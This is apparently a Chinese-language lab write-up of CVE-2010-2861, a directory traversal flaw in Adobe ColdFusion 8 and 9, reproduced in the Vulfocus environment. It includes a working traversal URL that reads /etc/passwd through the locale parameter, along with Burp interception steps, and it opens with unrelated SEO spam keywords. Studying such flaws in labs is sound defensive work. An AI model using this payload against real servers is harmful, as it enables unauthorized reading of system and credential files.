网站诊断从哪里开始,0元免费做代理,免费 企业网站管理系统,wordpress手机类主题1.1漏洞描述
漏洞编号CVE-2010-2861漏洞类型文件读取漏洞等级⭐⭐漏洞环境VULFOCUS攻击方式 描述: Adobe ColdFusion是美国Adobe公司的一款动态Web服务器产品#xff0c;其运行的CFML#xff08;ColdFusion Markup Language#xff09;是针对Web应用的一种程序设计语言。 A…1.1漏洞描述
漏洞编号CVE-2010-2861漏洞类型文件读取漏洞等级⭐⭐漏洞环境VULFOCUS攻击方式 描述: Adobe ColdFusion是美国Adobe公司的一款动态Web服务器产品其运行的CFMLColdFusion Markup Language是针对Web应用的一种程序设计语言。 Adobe ColdFusion 8、9版本中存在一处目录穿越漏洞可导致未授权的用户读取服务器任意文件。 1.2漏洞等级 高危 1.3影响版本 Adobe ColdFusion 8、9版本 1.4漏洞复现
1.4.1.基础环境 访问http://your-ip:8500/CFIDE/administrator/enter.cfm可以看到初始化页面输入密码admin开始初始化整个环境。 1.4.2.前提 网站后台地址 后台管理账密 后台登录地址 1.5深度利用
1.5.1漏洞点
访问
http://192.168.1.232:8500/CFIDE/administrator/enter.cfm?locale../../../../../../../../../../etc/passwd%00en
用burp截取,删除其中的cookie信息后即可读取文件/etc/passwd: 删掉后 查找falg 1.6漏洞挖掘
1.6.1指纹信息 1.7修复建议 升级 打补丁 上设备
